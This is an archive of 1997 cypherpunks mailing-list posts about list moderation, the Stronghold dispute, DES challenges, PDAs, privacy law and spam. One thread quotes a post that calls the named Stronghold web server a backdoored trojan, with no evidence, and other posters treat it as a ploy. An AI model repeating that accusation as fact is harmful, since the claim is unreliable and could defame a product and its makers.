In-Reply-To: <1.5.4.32.19970217170243.006f6ab4@pop.pipeline.com>
Message-ID: <v03007800af2e48c1dc67@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM -0500 2/17/97, John Young wrote:

>Return-Path: cypherpunks-errors@toad.com
>X-Sender: jya@pop.pipeline.com
>Date: Sun, 09 Feb 1997 13:17:32 -0500
>To: cypherpunks@toad.com
>From: John Young <jya@pipeline.com>
>Subject: Who's Censoring Who?
>Sender: owner-cypherpunks@toad.com
>
>Sandy's e-mailed several of us who've sent messages about Vulis's
>ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
>on moderators of all kinds, not just on the net.

Interestingly, I don't recall getting any e-mail from Sandy telling me he
was not passing on my messages to either the Main or the Flames list...my
messages were simply dropped on the floor. (Others, including John, have
said they sometimes got nice Sandygrams explaining why their items were
deemed unsuitable for either of the lists. Sandy may have considered it
pointless to send me an explanation....)


>It's probably worth saving accusations of censorship for the real thing,
>after trial usage here for what is truly nasty high-stakes global info-war
>gaming.

As John likes literary references, recall William Burroughs' warning about
"the policeman inside."

I can't share John's belief that we should ignore censorship on the CP list
(especially messages going to neither of the two specified lists, without
notice). Waiting "for the real thing" is not a clear-cut issue, as explicit
censorship of political views is not likely to happen in our lifetimes in
the U.S.

However, "self-censorship," a la the V-chip, the mandatory voluntary
labeling of CDs, etc., is becoming the favored route. And the use of  the
legal system, or threats to use the legal system (a la threats made to
Vulis, Against Moderation, etc.) is part of the bullying pulpit (this pun
inspired by John's flights of rhetorical fancy).

>[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded
>to the cp-edited list, AFIK.]

One of the interesting, and utterly predictable, consequences of "silent
suppression" of some messages is that those on the unedited list, who see
all traffic (for the nonce), get to engage in conversations which are
subsequently suppressed so that several of us are having a conversation the
main list (and the flames list) are oblivious to!

This has had the fascinating effect of having people outside the
conversation (as an example, Blanc Weber) gradually figuring out from
"approved" messages that something is going on behind the scenes...they
they send us messages (as Blanc did) asking what the hell is going on, what
we're obliquely referring to. When the excised material is forwarded to
them (as I did with Blanc), the reaction is often "Wow! I didn't know."

As conversational threads are often so tangled, and become so much more
tangled with time, the job of the censor gets more difficult as time
passes. Not only must he excise all mention of banned topics, he must also
be alert to later discussions making mention of the act of banning, or of
the topics. This is territory well-covered by Orwell, of course. The
rewriting of history is a full-time job.

--Winston Smith


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Newsome <drz@froody.bloke.com>
Date: Mon, 17 Feb 1997 07:23:43 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152302.XAA00412@server.test.net>
Message-ID: <Pine.LNX.3.95.970217102159.32598H-100000@FROODY.bloke.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 15 Feb 1997, Adam Back wrote:

> > 5. The prize money will be split equally between Gutenberg and EFF.
> >    There is a possibility of using part of it for stickers or
> >    something similar, but don't count on it.

> Not a good idea.

> How can this be enforced?  The RSADSI DES challenge is open to all

Unless people modify the client, we will know about it before they do.
Yes, people might cheat. Main point is we don't want to turn this into a
race for money. (Also, that way we can't use university machines etc.)
This topic has been discussed too often also. Read the archives for more
debate.

Tim

Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life.
Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. 
Always look on the bright side of life. I think I think therefore I think I am.
drz@froody.bloke.com  http://www.local.com/~tnewsom/  PGP key: 2048/C32F01A5

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Feb 1997 23:30:07 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: PDAs as alternatives to smart cards?
In-Reply-To: <199702180141.RAA19121@toad.com>
Message-ID: <3.0.1.32.19970217112701.00655258@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:49 PM 2/17/97 -0800, Steve Schear <azur@netcom.com> wrote:
>With the widespread adoption of an industry standard IR link between PDA
>type devices, networks and PCs might this not present an opportunity for
>their use as more user-configurable and application agile financial and
>communiation privacy instruments?  

PDAs are becoming somewhat widespread among technical and sales people,
but there are a lot of different varieties and horsepowers,
and some are generally programmable with near-free-ware while others aren't.
Newtons have horsepower, but aren't that common; most of the others
have 8086en or so, including the easily-programmable DOS HPs,
the cool objecty Psion OS, a few different GeoWorks based systems
(is Pilot one of those?), etc.  Then there are a huge number of
totally non-programmable Rolodex/Calendar widgets.

Any of the interesting ones cost too much to go after the
retail market, and they're owned by people who can use email.  
For the broad market you want a <=$10 device, and stores grumble if you
charge more than $200 for a really complete reader system -
which means smartcards.  

Perhaps once pager capability in PDAs becomes widespread and cheap,
the retail/wholesale pharmaceutical trading set could get interested :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Date: Mon, 17 Feb 1997 02:42:50 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re(2): DFA
In-Reply-To: <199702162243.OAA05104@toad.com>
Message-ID: <WIN2359-970217104112-2FC7*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

the European Commission is also sponsoring a project called "OKAPI" where Quisquater and others are working on smardcards in the spirit of the mentioned publications by DFA. Please check

        www.tele.ucl.ac.be/OKAPI/index.html

for further information.

Theodor W. Schlickmann




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 17 Feb 1997 08:48:23 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <19970217044832.19610.qmail@taz.nceye.net>
Message-ID: <Pine.BSD/.3.91.970217114427.5668B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On 17 Feb 1997, Bryan Reece wrote:

>    So, if I put root@127.0.0.1 in the "From:" field of my news reader's
>    configuration, all of my posts will give this as my e-mail address. 
> 
> More likely to be delivered is root@[127.0.0.1] or

Oops, finger trouble... Must've been something in that pizza for supper 
<sheepish grin>

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 09:09:09 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: The Offending Stronghold posts...
Message-ID: <1.5.4.32.19970217170243.006f6ab4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

>> * I'll supply copies of messages cited if you like.
>
>Would you please, just so I could trash them myself this time. :-).

OK. Here they are:

==========================================================

Return-Path: cypherpunks-errors@toad.com
X-Sender: jya@pop.pipeline.com
Date: Fri, 07 Feb 1997 17:23:14 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: Re: More on Stronghold Charge - 1
Sender: owner-cypherpunks@toad.com

----------

Return-Path: cypherpunks-errors@toad.com
To: cypherpunks@toad.com
Subject: Disappearing articles?
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Date: Fri, 31 Jan 97 10:39:11 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com

We already know that Sandy's bot automatically discards submissions from
people he doesn't like, irrespective of contents. In the past the rejected
articles were tossed to the "flames" list.  Now Sandy has gone one step 
further.  The following article criticized the product Sandy is paid to
peddle. It showed up on the 'unedited' list, but Sandy hated its contents
so much that it hasn't made it to EITHER censored or the 'flames' list!

This is the beginning of the censored article:

To: cypherpunks@toad.com
Subject: Security alert!!!
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

(rest snipped to save bandwidth)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

==========================================================

Return-Path: cypherpunks-errors@toad.com
X-Sender: jya@pop.pipeline.com
Date: Fri, 07 Feb 1997 18:10:58 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his
  product?
Sender: owner-cypherpunks@toad.com

My version of DV's ploy came via the unedited list.

There was also a good, brief discussion about Vulis's multi-pronged
Denial of Service attack on Cypherpunks, which came unedited, along 
with other informative comments about how a technologically adept 
attacker singles out a quarry amongst a lumbering, slumbering, cud-
chewing herd. Quite beastly cryptoanarchistic.

==========================================================

Return-Path: cypherpunks-errors@toad.com
X-Sender: jya@pop.pipeline.com
Date: Sun, 09 Feb 1997 13:17:32 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: Who's Censoring Who?
Sender: owner-cypherpunks@toad.com

Sandy's e-mailed several of us who've sent messages about Vulis's
ploy to put Sandy in a conflict-of-interest bind -- a well-known attack 
on moderators of all kinds, not just on the net. 

What's worth admiring is how Vulis has adeptly managed to get others
 -- targets and witting and unwitting cohorts -- to go along with his attack, 
attack, attack, by opposing or supporting it. A useful lesson.

Smart dude, that Vulis, but no more so than others on the Net, say, Tim
May, and in the world who've done the same elsewhere, maybe 
by even smarter dude(s) who provoked, angered, insulted, an unwitting 
Vulis, or May, to attack on behalf of ... 

But such deception is to be expected, along with feigned suprise and
outrage at the unfairness of opponents fighting as dirty as one's own
pure-blackhearts.

Sandy's not censoring cypherpunks, nor is Vulis or May or any single 
person alone. As Pogo said, it's all of us, posters and lurkers and spooks, 
each trying to get one's way to prevail, under guise of a high principle not 
easily honored when the squeeze is on alone in a dark cell. Come on out
Sandy, it was just a drill.

It's probably worth saving accusations of censorship for the real thing, 
after trial usage here for what is truly nasty high-stakes global info-war 
gaming.

[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded
to the cp-edited list, AFIK.]

==========================================================








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 12:18:40 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Constitution and a Right to Privacy
In-Reply-To: <199702170726.XAA26470@toad.com>
Message-ID: <v03007807af2e6e5ab1e4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:22 PM -0600 2/17/97, snow wrote:
>Mr. May wrote:
>> Some legal scholars are claiming that there is no provision in the
>> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
>> number of purchases can no longer be anonymous--guns, explosives, chemicals
>> of various sorts, etc. How long before _all_ transactions must be recorded,
>> True Names revealed, etc.?
>
>	This is where I often get a little confused.
>
>	Correct me if I am wrong, but it was my understanding that the
>constitutuion was _not_ a document that explicitly spelled out what writes
>_I_ had, but rather spelled out fairly precisely what the _government_ was
>allowed to do.
>
>	In otherwords, the Constitution does not restrict _me_ rather it
>restricts the _feds_ (and the Feds alone).
>
>	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
>can only, ONLY do what the constitution says it can.
>
>	???

But why do you not object that the "right to free speech," "the right to
keep and bear arms," and so on, are specifically enumeratedin the Bill of
Rights? The privacy issue is that there is no such enumeration of a right
to privacy in the Bill of Rights, though many think it to be implicit in
some of the other enumerated rights, e.g,, the Fourth, and even in the
First.

Constitutional issues are not easily discussed in short messages like this.
Suffice it to say the issue of whether a "right to privacy" exists has been
long discussed, most recently by Bork, Posner, and others (I skimmed the
latest Posner book a while back, and liked his style).

The issue hit when abortion advocates argued that a "woman's right to
privacy" allowed abortions. However, none of the enumerated rights made
this obvious. Bork has opined that no right to privacy can be inferred from
the Constitution.

(And I always thought the "woman's right to privacy" argument for abortion
was flaky. Accepting such an argument, wouldn't infanticide be equally
protected by a woman's right to privacy?)

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 13:00:45 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation experiment and moderator liability
In-Reply-To: <199702111922.TAA00444@server.test.net>
Message-ID: <3308C18F.7138@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Adam Back wrote:
> > > [summary of events]
> > I believe your summary is very accurate except:
> > I would add after the paragraph about Dimitri posting the warning
> > about C2, that C2's lawyers sent an immediate threatening letter
> > to Dimitri.

> Agree, that should be added:
> 15a. Dimitri received a legal notice from C2Net's lawyers about
> Dimitri's allegations

I know this could sound really nitpicky, but proofreading etc. is a
big thing for me, so, I personally would not say "legal notice"
alone, as it doesn't convey the sense of threat that was very real
in the letter to Dimitri.  Perhaps "terse legal notice" or words to
that effect...

> > I would change the paragraph about Tim May receiving a warning from
> > C2's lawyers to say that Tim May received a warning second-hand that
> > anything Tim would say to support or reiterate Dimitri's claims
> > would be actionable by C2 as well.

> Let's see I wrote:
> > 21. Tim received a warning from C2Net's lawyers that if he did not
> > desist from mentioning that Dimitri had posted an article criticising
> > a C2Net product that he would be sued!

> Tim explained the situation in fair detail in his recent post,
> explaining, after Sandy's "Absolutely false." retort to my above
> claim.  Perhaps my wording could be more accurately changed in the
> light of the further explanation from Tim to:
> 21. Tim was told by a C2Net employee that if he did not desist from
> discussing Dimitri's claims about C2Net's StrongHold product, C2Net
> would take legal action against him!

Again, at the risk of nitpicking, I'd say "might take legal action...".

Just an opinion, I think you've done a really good job summarizing
these events.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 13:05:58 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Offending Stronghold posts...
In-Reply-To: <v03007800af2e48c1dc67@[207.167.93.63]>
Message-ID: <3308C69B.792D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> Interestingly, I don't recall getting any e-mail from Sandy telling me he
> was not passing on my messages to either the Main or the Flames list...my
> messages were simply dropped on the floor.
[snip]
> As conversational threads are often so tangled, and become so much more
> tangled with time, the job of the censor gets more difficult as time
> passes. Not only must he excise all mention of banned topics, he must also
> be alert to later discussions making mention of the act of banning, or of
> the topics. This is territory well-covered by Orwell, of course. The
> rewriting of history is a full-time job.

Exactly.  I hate to intrude, but some of us kids learned that lesson
in something called "Sunday School" way back when.  The lesson was
"If you tell one lie, you'll have to tell another to cover it up,
then another and another until you're buried in the lies and your
credibility is shot".  A related lesson: "An excuse is the skin of
a reason packed with a lie".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 10:10:21 -0800 (PST)
To: cypherpunks <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <199702170736.CAA02163@mercury.peganet.com>
Message-ID: <Pine.LNX.3.95.970217125144.1066A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Bill Campbell wrote:

> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)
> 
> Has anyone composed a concise summary of just
> what the options are? Time is running out, I guess.

Here's my understanding of the situation:

 - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

 - The distributed list is still forming and so far consists of
	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
	do not know the location.  A mail<->news gateway is planned, but not
	yet in place, between the distributed list and the newsgroup(s).
	cypherpunks@algebra.com is receiving messages from
	cypherpunks-unedited.  I assume this means that the other hosts part
	of the distributed list are also receiving cypherpunks-unedited
	messages.

 - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
	not yet part of the distributed list.  It is also receiving feed from
	toad.com.

If you don't want to miss any messages, then you should subscribe to both
cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
are receiving cypherpunks-unedited, you can safely unsubscribe from
cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
overlapping content, you should delete duplicates.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 17 Feb 1997 11:03:19 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: The Science Generations, II
In-Reply-To: <199702170726.XAA26470@toad.com>
Message-ID: <199702171922.NAA00333@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote:
> Some legal scholars are claiming that there is no provision in the
> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> number of purchases can no longer be anonymous--guns, explosives, chemicals
> of various sorts, etc. How long before _all_ transactions must be recorded,
> True Names revealed, etc.?

	This is where I often get a little confused.

	Correct me if I am wrong, but it was my understanding that the
constitutuion was _not_ a document that explicitly spelled out what writes 
_I_ had, but rather spelled out fairly precisely what the _government_ was 
allowed to do.

	In otherwords, the Constitution does not restrict _me_ rather it 
restricts the _feds_ (and the Feds alone).

	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
can only, ONLY do what the constitution says it can.

	???






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 11:54:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: WTO_tap
Message-ID: <1.5.4.32.19970217194822.00726a4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Three newspapers have pieces today on the new WTO
telecom agreement. A Page 1 NYP report examines the
administration's favoring of the once-moribund WTO over 
the UN as a principal means for "exporting US free-market 
values through global commercial agreements."

The telecom agreement, for the first time, allows the WTO
to go inside the signatory countries and check compliance, and
if warranted, impose sanctions, a role once reserved to the UN.

While encryption is not mentioned, it's worth watching the
WTO globally unite its privacy-invasive predecessors: the 
national tele-tappers. The spin is that now all governments can 
have access to the global (wiretap) network under guise of
enhanced commercial competition. (And that's why Commerce was 
given EI for CCL.)

-----

WTO_tap

----------

For related background, there's informative discussion on the 
encryption switchover from State to Commerce in the Defense 
Trade News, archived at the Dept of State Web site.

We've put the five issues in which the shift of encryption 
items from the USML to the CCL is formulated by the Technical
Working Group at:

  January/April 1993:     http://jya.com/dtn0193.htm  (76K)
  January 1994:           http://jya.com/dtn0194.htm  (99K)
  April 1994:             http://jya.com/dtn0494.htm  (66K)
  July/October, 1994:     http://jya.com/dtn0794.htm  (67K)
  October 1995:           http://jya.com/dtn1095.htm  (35K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 17 Feb 1997 12:21:47 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <l03010d00af2a675dff72@[204.57.198.5]>
Message-ID: <Pine.SUN.3.95.970215000000.23677N-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]

Hey, I can take the heat.  But I'm afraid you missed my perhaps too-terse
point.

> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 

It's not that simple.  Consider:

1) I stopped learning more about new computer tools than the minimum
needed to do my work a long time ago, when I stopped programming and
started lawyering.  It wasn't an efficient use of my time.

2) Our system here has ONE email system: PINE.  It defaults my "from"
address.  There is no obvious way to override it.  I may have the
necessary tools and permissions, I may not; I don't feel like taking
whatever time it takes to figure it out.  We use PINE for usenet and
email, using the same config file.  There are other usenet tools here,
like tin, but I would have to learn them.  Again, I have no idea if I have
the permissions/tools/knowledge to alter my headers.  I am certain that I
could hack it with time enough and motivation enough.  I have neither.

3) I do other things besides talk to you with this tool.  I communicate
with students, family and others.  I want them to get my real headers.  I
don't want an elaborate switching mechanims every time I change the person
I'm speaking to.

> Most people worth talking to have enough of a clue to replace [at] with @.
> 
> if your software requires an apparently valid email address, try
> 
> jsmith@NOSPAM.foo.com
> 
> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.
> 
> That may not be enough if you're already in the spamming lists. Try
> using 'positive' filtering- instead of filtering to eliminate unwanted
> mail, filter email from regular correspondents into a 'approved'
> directory, and leave the rest in the inbox to pick through later.
> 
> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> 
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.
> 
> (And supposedly the 'Moderation experiment' is over, so this won't get
> kicked onto the -flames list, although it's more ridicule than flame...)
> 
> 
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 14:53:02 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702172252.PAA14054@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


With regard to chemicals, may I suggest a perusal of the PGI and PML lists
(respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
are good resources; just about anything you might want is available.
However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
Newsgroup folks-thanx Dimi--there *is* a difference).

Yea, (as D. Thorn might babble, if I understand the shards of his stuff
quoted in the posts of those who should know better) when I was a young
fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
have any idea what metallic sodium and red fuming nitric acid and Willy
Ley-strength Hydrogen Peroxide are all about?"

Me, personally? I'm glad to have traded the availability of interesting
reagents for the "Oppa-tune-itee" of having freedom and justice. (Although
nobody "axed" my opinion prior to there having been a reversal in the thrust
of gummint regulations.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 17 Feb 1997 13:00:25 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702171922.NAA00333@smoke.suba.com>
Message-ID: <0n2APH200YUe0Bfrk0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

snow <snow@smoke.suba.com> writes:
> Mr. May wrote:
> > Some legal scholars are claiming that there is no provision in the
> > Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> > number of purchases can no longer be anonymous--guns, explosives, chemicals
> > of various sorts, etc. How long before _all_ transactions must be recorded,
> > True Names revealed, etc.?
> 
>         This is where I often get a little confused.
> 
>         Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
>         In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).

You neglect things like the interstate commerce provision, which means
that if it crosses state lines, the feds can regualte it. In addition,
the court (in its infinite wisdom), decided that "the people" meant
the states, then the people. So, as long as it isn't meantioned in the
constitution, the states can do whatever they want.

Welcome to America, please stay in line.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwjGzskz/YzIV3P5AQGKbAL+OA3vfIyutiHrnKXRaydKz0R9hhIinVV3
sSjacpA7MNDxH+bCQhDwqx2WRT89JjKK64nTw+4YF05h3pzl1IV3TD1WNDkt8UIe
5m8Y0LY1v2M5+dGq0ifpKicV8IUkvYar
=UsSo
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 19 Feb 1997 07:25:13 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <856365426.1116703.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)

try pubnews.demon.co.uk, its a public server open to everyone and his 
dog, recognises all newsgroups, doesn`t accept rmgroups and is quite 
fast (quickest line between UK and USA, 100mbit/sec as I remember). 

Alternatively there is always dejanews.com 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 16:50:34 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702172252.PAA14054@web.azstarnet.com>
Message-ID: <3308FCA0.3548@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
> are good resources; just about anything you might want is available.
> However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
> Newsgroup folks-thanx Dimi--there *is* a difference).
> Yea, (as D. Thorn might babble, if I understand the shards of his stuff
> quoted in the posts of those who should know better) when I was a young
> fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
> have any idea what metallic sodium and red fuming nitric acid and Willy
> Ley-strength Hydrogen Peroxide are all about?"

Yea, tho' they kicked me out of school for stashing this stuff in
my wall locker, does that make me a bad person, or stupid?  Lots
of patriots in the late 1700's blew themselves up trying to make
explosives for the cause.  One person's freedom fighter....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 17 Feb 1997 16:46:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: PDAs as alternatives to smart cards?
Message-ID: <v02140b02af2e88016969@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


With the widespread adoption of an industry standard IR link between PDA
type devices, networks and PCs might this not present an opportunity for
their use as more user-configurable and application agile financial and
communiation privacy instruments?  I'm especially thinking along the lines
of their use for ecash transactions in conjunction with smart card-type
merchant terminals sporting an inexpensive IR link to the customer's PDA.

If disk protection programs (e.g., DiskCrypt/PGPDisk) were extended to PDAs
ight that not enable them for a whole host of personal applications?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
